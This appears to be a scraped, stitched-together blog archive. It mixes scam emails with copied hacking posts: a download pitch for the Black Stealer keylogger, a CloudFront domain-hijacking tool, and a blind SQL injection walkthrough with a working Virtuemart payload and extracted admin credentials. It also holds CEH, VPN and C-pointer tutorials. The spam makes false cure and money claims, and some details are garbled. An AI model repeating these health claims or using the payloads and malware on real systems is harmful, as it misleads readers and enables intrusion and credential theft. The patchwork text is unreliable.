Saturday, June 20, 2020

The real reason you’re ALWAYS tired 12:30:34 =?ISO-8859-1?Q?AM=1F=1F=1E=3F =1F=1E=1E=1F=1F=1F=1F=1Ftorkelf.tinaf@blog?=

=?ISO-8859-1?Q?ger.com=1F=1F=1E=1F =1F=1F=1F?=
To: torkelf.tinaf@blogger.com
Content-Type: text/plain; charset=us-ascii
Reply-To: "VANNEVAR CRUZ." <diabetes.s@europe.com>, diabetes.s@europe.com
Date: Sun, 21 Jun 2020 00:30:35 -0700
X-Priority: 3

Hi torkelf.tinaf@blogger.com

Ever wondered why you seem to crash midday whilst everyone else gets through the day with absolutely no problem?

It's not your fault.

In fact, millions of people around the world are struggling daily with fatigue, unwanted weight gain and more due to an undiagnosed inability to control blood sugar.

If left untreated, this can lead to type 1 and type 2 diabetes, and worse.

Luckily a new, unusual and ground-breaking program has been released. You can now naturally and safely restore your blood sugar back to normal levels, no matter your age or the extent of your condition.

It's time to enjoy life as it was meant to be enjoyed.

The following free presentation reveals all:

>>View presentation<<

http://tr.im/1j18F

I warn you, the big pharmaceutical companies are trying to take this video down. So watch it while you can. I cannot say how long this will still be up.

>>Watch presentation<<

http://tr.im/1j18F



Talk soon,
VANNEVAR CRUZ.
JOINVENTURE
???

Friday, June 19, 2020

Over 87,000 families are currently using this device

Hey,
 
You won’t believe what just happened:
 
A shocking global decision was taken at Bruxelles and there is no way back …
 
Rumors say Green Energy will become the only real currency by 2025.
 
This „average Joe” from Memphis Tennessee figured out how to harvest this currency from nothing and become truly independent.
 
 
Just make sure you watch it with the door locked and with the sound turned down...
 
I must admit, as a true Christian and Patriot this video really sent shivers down my spine...
 
 
 
Plus, more than 37,230 people have already taken advantage of it…
 
So grab yours now while it's still out there... and prepare to learn something amazing!
 
 
->>> http://chillbai.elpaseo.trade/eff89
 
 
 
Best Regards,
James Albert Canuy
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



























 

Tuesday, June 16, 2020

Over 87,000 families are currently using this device

Hey,
 
You won’t believe what just happened:
 
A shocking global decision was taken at Bruxelles and there is no way back …
 
Rumors say Green Energy will become the only real currency by 2025.
 
This „average Joe” from Memphis Tennessee figured out how to harvest this currency from nothing and become truly independent.
 
 
Just make sure you watch it with the door locked and with the sound turned down...
 
I must admit, as a true Christian and Patriot this video really sent shivers down my spine...
 
 
 
Plus, more than 37,230 people have already taken advantage of it…
 
So grab yours now while it's still out there... and prepare to learn something amazing!
 
 
->>> http://chillbai.elpaseo.trade/eff89
 
 
 
Best Regards,
James Albert Canuy
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



























 

Sunday, June 14, 2020

test

Hi
 
Dr. William Kemp has a special announcement to make to you today.
 
If you follow vision science you know this guy well.
 
He claims to have unraveled the truth to restoring perfect 20/20 vision at QUANTUM speed...
 
The best part is that it only takes 7 days. And then you can smash your glasses to hell.
Because it's permanent. No lasers. It's all natural. This really is a "quantum leap" forward in vision science.
 
So if you wear glasses or if you know someone who wears glasses please visit the link below
 
 
 
To your clear vission,
Dr. Kent
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
You are receiving this newsletter because you either purchased a
product from us or you signed up for our home remedy newsletter.
 
The information in this newsletter is for information purposes
only and should not be construed as medical advice. You should
always consult with your physician before using any information you read in this newsletter.
 
This email has been delivered to you by EPC Mail Pro and has been sent
out to you on behalf of one of EPC Mail Pros clients. You have received
this electronic mailing because you or someone using your email
address as opted in to receive mail for the particular service or product
being featured in this newsletter.
 
 
If you have not subscribed to these daily product updates or would like to
stop receiving daily product updates, you can unsubscribe below
 
Health News Mail
5042 Wilshire Blvd
Los Angeles, CA 90036 US
 



























 

Thursday, June 11, 2020

DOWNLOAD BLACK STEALER V2.1 FULL

BLACK STEALER V2.1 FULL

Black Stealer v2.1 is an advanced keylogger that can steal even saved passwords from the browsers and sends through Email and FTP. It's really easy to the crypt. Keylogger is a computer program that is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard by the user, especially in order to gain unauthorized access to the passwords and other confidential information. It's also called a keystroke logger or system monitor. Download black stealer v2.1 full.

DOWNLOAD BLACK STEALER V2.1 FULL

Related news
  1. Pentest Environment
  2. Hacker Language
  3. Hacking Health
  4. Pentest Cyber Security
  5. Hacker Kevin Mitnick
  6. Hacking Online Games
  7. Pentest Azure
  8. Pentest Ios
  9. Hackerrank
  10. Pentest Enumeration
  11. Pentest Stages
  12. Hacker Prank
  13. Hacking Vpn
  14. Hacker On Computer
  15. Pentest Free
  16. Pentest Partners
  17. Hacking Linux

5 Free Online Courses To Learn Artificial Intelligence

We are living in the era of fourth industrial revolution(4IR), where Artificial intelligence has a significant role to play. This 4IR technology embedded within societies and even into the human body. From Computer enthusiasts to common people, everyone should be aware and learn this breakthrough technology.
We think about gigantic Robots from Transformers when we hear about Artificial Intelligence(AI) which is a fiction in the past but a fact today, capable of transforming the whole tech world. The field of AI consists of more than Robots such as personal assistants, self-driving cars, apprenticeship learning, behavior cloning and so on. To learn about this advanced technology, thanks to the online learning resources which offers great content to get started with artificial intelligence.

Here are the 5 free e-learning courses on Artificial Intelligence

1. UC Berkeley CS188 Intro to AI

Get started with UC Berkeley AI course, this course is absolutely for beginners who are unaware of Artificial intelligence. It doesn't need any prior computer knowledge to know about AI. UC Berkeley allows anyone to learn this course for free. This course is systematically presented and consists of the following:
  • Course Schedule
  • Complete sets of Lecture Slides and Videos
  • Interface for Electronic Homework Assignments
  • Section Handouts
  • Specs for the Pacman Projects
  • Source files and PDFs of past Berkeley CS188 exams
  • Form to apply for edX hosted autograders for homework and projects (and more)
  • Contact information
Aside from this, you can also browse the following courses as well from UC Berkeley that are part of AI course:
  • Machine Learning: CS189, Stat154
  • Intro to Data Science: CS194-16
  • Probability: EE126, Stat134
  • Optimization: EE127
  • Cognitive Modeling: CogSci131
  • Machine Learning Theory: CS281A, CS281B
  • Vision: CS280
  • Robotics: CS287
  • Natural Language Processing: CS288

2. Artificial Intelligence: Principles and Techniques

This course is offered by Stanford with great content that includes topics, videos, assignments, projects, and exams. The whole course mainly focuses on the complex real-world problems and try to find similarity between web search, speech recognition, face recognition, machine translation, autonomous driving, and automatic scheduling. Here you will learn the foundational principles of AI and implement some the AI systems. The goal of this course is to help you tackle the real-world situations with the help of AI tools. So, it is the best for the beginner to get started with AI.

3. Learn with GOOGLE AI

Who will dislike the course from Google? absolutely no one. This company is one of the early adopters of AI has a lot to offer to learners. Learn with Google AI is an education platform for people at all experience levels, it is free to access and browse content. The education resources provided by Google is from the machine learning experts of the company. These resources are the collections of lessons, tutorials, and Hands-on exercises that help you start learning, building, and problem-solving.

4. MIT 6.S094: Deep Learning for Self-Driving Cars

This course gives the practical overview of Deep Learning and AI. It is the course for beginners, also for the people who are getting started with Machine Learning. The course also offers a lot of benefits to the experienced and advanced researchers in the field deep learning. This MIT's course takes people into the journey of Deep Learning with the applied theme of building Self-Driving cars. However, the course also offers slides and videos to engage the learners.

5. Fundamentals of Deep Learning for Computer Vision

This course is offered by Nvidia and Nvidia Deep learning Institute. Computer Vision is one of the disciplines of AI that acquire, analyze, process, and understand images. The course is completely free and everyone who is enthusiast about AI can access and learn the course. It is a hands-on course that able to provide basics of deep learning and deployment of neural networks. With this. you will also learn the following:
  • Identify the ingredients required to start a Deep Learning project.
  • Train a deep neural network to correctly classify images it has never seen before.
  • Deploy deep neural networks into applications.
  • Identify techniques for improving the performance of deep learning applications.
  • Assess the types of problems that are candidates for deep learning.
  • Modify neural networks to change their behavior.
Related word

  1. Pentest Plus
  2. Pentest Practice
  3. Hacking Names
  4. Pentest Box
  5. Hacker Website
  6. Pentest Box
  7. Pentestlab
  8. Hacker Prank
  9. Hacking Programs

Wednesday, June 10, 2020

What Is A Vpn And How Is It Works ?

What Is A VPN?

VPN stands for Virtual Private Network, and maybe you have heard or read that term in association with privacy and geolocation. In this article we will learn and look into what exactly is it how does it work and what can it do for you.

How Does A VPN Work?

Let me explain it now but before we dive into VPNs, let me tell you a little bit about how the internet works now. At home, you have probably got some router or modem from your telephone company or your internet service provider. Then that is connected to your desktop, maybe by an Ethernet cable, to your smartphone over Wi-Fi, perhaps to your laptop over Wi-Fi and so on.

Inside your house when you do a laptop talk or your PC talk or your phone talk that is part of your private network, and that does not go out onto the internet. It stays inside your house, but the moment you open a web page somewhere out on the internet that data flows through your modem down into your local phone company or ISP and then out across the internet.

It will travel across the internet until it gets to the server the server will then reply with some information that will come back through the internet into your local telecommunications provider or ISP down through to your modem and then back onto your PC or your Android smartphone.

Now, while all that data is rushing around the internet, it needs to know where it is going and the things to know where they are going. They need an address it is the same with the postal service is the same when you want to go and visit somebody. It is the same with data on the internet.

There are different layers of addressing or different types of addressing that go on, but at the highest level, each of these packets of information has what is called an IP address. The IP address is you have probably seen them there those four digits from 0 to 255 with dots in between them so maybe like 178.304.67.

The modem or your router has probably been assigned an IP address from your ISP and what happens in is that when your data goes through the internet every piece of equipment, it touches every router every server it touches knows that your IP address. It is done that is not because they are trying to spy on you but because trying to connect collect data about the number of people that clicked into their website.

What a VPN does is it allows you to create a tunnel a connection from your home computer to a server somewhere else in the world. The connection is encrypted, and then when I access something on the Internet, it goes through that tunnel and then it arrived at that other server and then it goes on to the Internet, and it will finally arrive at the web server or the service. Your IP address will no longer be your IP address. The IP address of the VPN server protects your IP.

If you use a VPN, first of all, your local telecommunications provider and your local government have no idea about the sites that you are accessing. When you go through the VPN, it is all encrypted. VPN allows you to connect to another server in another country.


@£√£RYTHING NT

Related posts

BeEF: Browser Exploitation Framework


"BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of XSS browser vulnerabilities. Development has focused on creating a modular structure making new module development a trivial process with the intelligence residing within BeEF. Current modules include the first public Inter-protocol Exploit, a traditional browser overflow exploit, port scanning, keylogging, clipboard theft and more." read more...


Website: http://www.bindshell.net/tools/beef


More info


Breakthrough in Electric Car Technology Powers An Entire Home.

Hey,
 
You won’t believe what just happened:
 
A shocking global decision was taken at Bruxelles and there is no way back …
 
Rumors say Green Energy will become the only real currency by 2025.
 
This „average Joe” from Memphis Tennessee figured out how to harvest this currency from nothing and become truly independent.
 
 
Just make sure you watch it with the door locked and with the sound turned down...
 
I must admit, as a true Christian and Patriot this video really sent shivers down my spine...
 
 
 
Plus, more than 37,230 people have already taken advantage of it…
 
So grab yours now while it's still out there... and prepare to learn something amazing!
 
 
->>> http://chillbai.elpaseo.trade/eff89
 
 
 
Best Regards,
James Albert Canuy
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



























 

Tuesday, June 09, 2020

CloudFrunt - A Tool For Identifying Misconfigured CloudFront Domains


CloudFrunt is a tool for identifying misconfigured CloudFront domains.

Background
CloudFront is a Content Delivery Network (CDN) provided by Amazon Web Services (AWS). CloudFront users create "distributions" that serve content from specific sources (an S3 bucket, for example).
Each CloudFront distribution has a unique endpoint for users to point their DNS records to (ex. d111111abcdef8.cloudfront.net). All of the domains using a specific distribution need to be listed in the "Alternate Domain Names (CNAMEs)" field in the options for that distribution.
When a CloudFront endpoint receives a request, it does NOT automatically serve content from the corresponding distribution. Instead, CloudFront uses the HOST header of the request to determine which distribution to use. This means two things:

  1. If the HOST header does not match an entry in the "Alternate Domain Names (CNAMEs)" field of the intended distribution, the request will fail.
  2. Any other distribution that contains the specific domain in the HOST header will receive the request and respond to it normally.
This is what allows the domains to be hijacked. There are many cases where a CloudFront user fails to list all the necessary domains that might be received in the HOST header. For example:
  • The domain "test.disloops.com" is a CNAME record that points to "disloops.com".
  • The "disloops.com" domain is set up to use a CloudFront distribution.
  • Because "test.disloops.com" was not added to the "Alternate Domain Names (CNAMEs)" field for the distribution, requests to "test.disloops.com" will fail.
  • Another user can create a CloudFront distribution and add "test.disloops.com" to the "Alternate Domain Names (CNAMEs)" field to hijack the domain.
This means that the unique endpoint that CloudFront binds to a single distribution is effectively meaningless. A request to one specific CloudFront subdomain is not limited to the distribution it is associated with.

Installation
$ pip install boto3
$ pip install netaddr
$ pip install dnspython
$ git clone https://github.com/disloops/cloudfrunt.git
$ cd cloudfrunt
$ git clone https://github.com/darkoperator/dnsrecon.git
CloudFrunt expects the dnsrecon script to be cloned into a subdirectory called dnsrecon.

Usage
cloudfrunt.py [-h] [-l TARGET_FILE] [-d DOMAINS] [-o ORIGIN] [-i ORIGIN_ID] [-s] [-N]

-h, --help Show this message and exit
-s, --save Save the results to results.txt
-N, --no-dns Do not use dnsrecon to expand scope
-l, --target-file TARGET_FILE File containing a list of domains (one per line)
-d, --domains DOMAINS Comma-separated list of domains to scan
-o, --origin ORIGIN Add vulnerable domains to new distributions with this origin
-i, --origin-id ORIGIN_ID The origin ID to use with new distributions

Example
$ python cloudfrunt.py -o cloudfrunt.com.s3-website-us-east-1.amazonaws.com -i S3-cloudfrunt -l list.txt

CloudFrunt v1.0.3

[+] Enumerating DNS entries for google.com
[-] No issues found for google.com

[+] Enumerating DNS entries for disloops.com
[+] Found CloudFront domain --> cdn.disloops.com
[+] Found CloudFront domain --> test.disloops.com
[-] Potentially misconfigured CloudFront domains:
[#] --> test.disloops.com
[+] Created new CloudFront distribution EXBC12DE3F45G
[+] Added test.disloops.com to CloudFront distribution EXBC12DE3F45G


Related word


  1. Hacking Bluetooth
  2. Pentest Smtp
  3. Pentest As A Service
  4. Pentest News
  5. Pentestlab
  6. Hacking Box
  7. Pentest Ubuntu
  8. Hacking With Python

Bit Banging Your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:
select length(username) from jos_users where usertype = 'Super Administrator';
Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

Examples showing time difference:
 mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)
mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)
Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

Start with checking the most significant bit and continue to the least significant bit, value is '65':
value & 128 
01000001
10000000
-----------
00000000 

value & 64
01000001
01000000
-----------
01000000
value & 32
01000001
00100000
-----------
00000000
value & 16
01000001
00010000
--------
00000000
value & 8
01000001
00001000
--------
00000000

value & 4
01000001
00000100
-----------
00000000
value & 2
01000001
00000010
-----------
00000000
value & 1
01000001
00000001
-----------
00000001
The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (8.74 sec)
As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;
This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:
da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)
mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :


          if($order_id === "" || $order_id === null)
          {
                        $vmLogger->debug("Could not find order ID via invoice");
                        $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
                       
$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                        $db->query($qv);
                        print($qv);
                        if( !$db->next_record()) {
                                $vmLogger->err("Error: No Records Found.");
                        }
The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:


POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  
Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:
python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"
[*] Getting string length
[+] username length is:5
[+] username:admin
[*] Getting string length
[+] password length is:65
[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
The "vm_own.py" script can be downloaded here.


More articles


Monday, June 08, 2020

Galileo - Web Application Audit Framework

Related word


CEH Practical: Information-Gathering Methodology

 

Information gathering can be broken into seven logical steps. Footprinting is performed during the first two steps of unearthing initial information and locating the network range.


Footprinting

Footprinting is defined as the process of establishing a scenario or creating a map of an organization's network and systems. Information gathering is also known as footprinting an organization. Footprinting is an important part of reconnaissance process which is typically used for collecting possible information about a targeted computer system or network. Active and Passive both could be Footprinting. The example of passive footprinting is assessment of a company's website, whereas attempting to gain access to sensitive information through social engineering is an example of active information gathering. Basically footprinting is the beginning step of hacker to get hacked someone because having information about targeted computer system is the main aspect of hacking. If you have an information about individual you wanna hack so you can easily hacked that individual. The basic purpose of information gathering is at least decide what type of attacks will be more suitable for the target. Here are some of the pieces of information to be gathered about a target
during footprinting:
  • Domain name
  • Network blocks
  • Network services and applications
  • System architecture
  • Intrusion detection system
  • Authentication mechanisms
  • Specific IP addresses
  • Access control mechanisms
  • Phone numbers
  • Contact addresses
Once this information is assemble, it can give a hacker better perception into the organization, where important information is stored, and how it can be accessed.

Footprinting Tools 

Footprinting can be done using hacking tools, either applications or websites, which allow the hacker to locate information passively. By using these footprinting tools, a hacker can gain some basic information on, or "footprint," the target. By first footprinting the target, a hacker can eliminate tools that will not work against the target systems or network. For example, if a graphics design firm uses all Macintosh computers, then all hacking software that targets Windows systems can be eliminated. Footprinting not only speeds up the hacking process by eliminating certain tool sets but also minimizes the chance of detection as fewer hacking attempts can be made by using the right tool for the job. Some of the common tools used for footprinting and information gathering are as follows:
  • Domain name lookup
  • Whois
  • NSlookup
  • Sam Spade
Before we discuss these tools, keep in mind that open source information can also yield a wealth of information about a target, such as phone numbers and addresses. Performing Whois requests, searching domain name system (DNS) tables, and using other lookup web tools are forms of open source footprinting. Most of this information is fairly easy to get and legal to obtain.

Footprinting a Target 

Footprinting is part of the preparatory pre-attack phase and involves accumulating data regarding a target's environment and architecture, usually for the purpose of finding ways to intrude into that environment. Footprinting can reveal system vulnerabilities and identify the ease with which they can be exploited. This is the easiest way for hackers to gather information about computer systems and the companies they belong to. The purpose of this preparatory phase is to learn as much as you can about a system, its remote access capabilities, its ports and services, and any specific aspects of its security.

DNS Enumeration

DNS enumeration is the process of locating all the DNS servers and their corresponding records for an organization. A company may have both internal and external DNS servers that can yield information such as usernames, computer names, and IP addresses of potential target systems.

NSlookup and DNSstuff

One powerful tool you should be familiar with is NSlookup (see Figure 2.2). This tool queries DNS servers for record information. It's included in Unix, Linux, and Windows operating systems. Hacking tools such as Sam Spade also include NSlookup tools. Building on the information gathered from Whois, you can use NSlookup to find additional IP addresses for servers and other hosts. Using the authoritative name server information from Whois ( AUTH1.NS.NYI.NET ), you can discover the IP address of the mail server.

Syntax

nslookup www.sitename.com
nslookup www.usociety4.com
Performing DNS Lookup
This search reveals all the alias records for www.google.com and the IP address of the web server. You can even discover all the name servers and associated IP addresses.

Understanding Whois and ARIN Lookups

Whois evolved from the Unix operating system, but it can now be found in many operating systems as well as in hacking toolkits and on the Internet. This tool identifies who has registered domain names used for email or websites. A uniform resource locator (URL), such as www.Microsoft.com , contains the domain name ( Microsoft.com ) and a hostname or alias ( www ).
The Internet Corporation for Assigned Names and Numbers (ICANN) requires registration of domain names to ensure that only a single company uses a specific domain name. The Whois tool queries the registration database to retrieve contact information about the individual or organization that holds a domain registration.

Using Whois

  • Go to the DNSStuff.com website and scroll down to the free tools at the bottom of the page.
  • Enter your target company URL in the WHOIS Lookup field and click the WHOIS button.
  • Examine the results and determine the following:
    • Registered address
    • Technical and DNS contacts
    • Contact email
    • Contact phone number
    • Expiration date
  • Visit the company website and see if the contact information from WHOIS matches up to any contact names, addresses, and email addresses listed on the website.
  • If so, use Google to search on the employee names or email addresses. You can learn the email naming convention used by the organization, and whether there is any information that should not be publicly available.

Syntax

whois sitename.com
whois usociety4.com

Read more


Pointers Part 1: The Basics



So you're eager to learn about pointers but unfortunately you got stuck because they seemed to you terrible in nature? That's not true I know, but many of the people get confused when they arrive at the topic of pointers. Well pointers are the most important tools in C programming and are the one that can make you fly (unless you don't know how to ride over them). In this article we're going to learn basics of pointers.
Pointers are the varaibles that store addresses of other variables. Easy ain't it?
So lets start with the decleration of a pointer, pointer is decreleared as:
data_type *var_name;
e,g
int *pt;
well the astrisk(*) before the variable name is the thing that makes variable a pointer. So far so good now what?
Now lets say we want to store address of a variable in our pointer variable that seems pretty complex..!
Let's do it:
int number = 100;
int *pt = &num;
Is it really complex..?
what we are doing here is that we are first declaring and initializing a integer variable (number) with value of 100 and then we declare and initialize a pointer variable (pt) with the address of number variable. Now pt (pointer variable) contains the address of number (integer varaible). So what? Now we can use this pointer variable to change the value of number variable. Is this some kind of Magic? Maybe. Lets' do it:
*pt = 200;
what we have done here is that we De-referencing the pt variable with the asterisk (*) and then assigned it the value of 200 now the number variable contains 200. Isn't it a magic? De-referencing is used for accessing the value of the variable towards which our pointer is pointing simple. So lets write a full program of what we have learned so far.
/*Pointer Basics: Creating and Using Pointers*/
#include<stdio.h>
int main(void){
  int number = 100;
  int *pt = &number;
  printf("Value of 'number' is: %d", number);
  printf("Address of 'number' is: %p", pt);
  *pt = 200;
  printf("New value of 'number' is: %d", number);
  return 0;
}
What this whole program did was it created a integer variable and a pointer to integer variable and then printed out the value and address of the 'number' variable and after that we De-referenced the pointer variable so that we can access the value to which our pointer variable is pointing and changed the old 100 value with new 200 value and at last we printed that out. Easy isn't it?
But do you know that you can get the address of a variable even by using ampersand (&) operator? Lemme show you how. I'll declare and initialize a variable 'var' and then print it to screen using ampersand (&) operator:
int var = 10;
printf("Address of 'var' is %p\n", &var);
the last statement here will print out the address of 'var' not value so that means it is equal to this statement:
int *pt = &var;
printf("Address of 'var' is %p\n", pt);
here we first assigned the address of 'var' to pointer variable 'pt' and then printed out the address of 'var' using the pointer variable (pt).
So lets write another program that will wrap up this part of 'Pointer Basics':
/*Pointer Basics Part 1: Program 2*/
#include<stdio.h>
int main(void){
   int var = 10;
   int *pt = &var;
   printf("The Value of 'var' is: %d\n", var);
   printf("De-referencing: *pt = %d\n", *pt);
   printf("Ampersand: The Address of 'var' is %p\n",  &var);
   printf("pt = %p\n", pt);
   return 0;
}
So that's the end of first part watch out for the next part in which we'll tighten our grip on pointers and get ready for some Advanced '*po(inter)-fo'.
Related word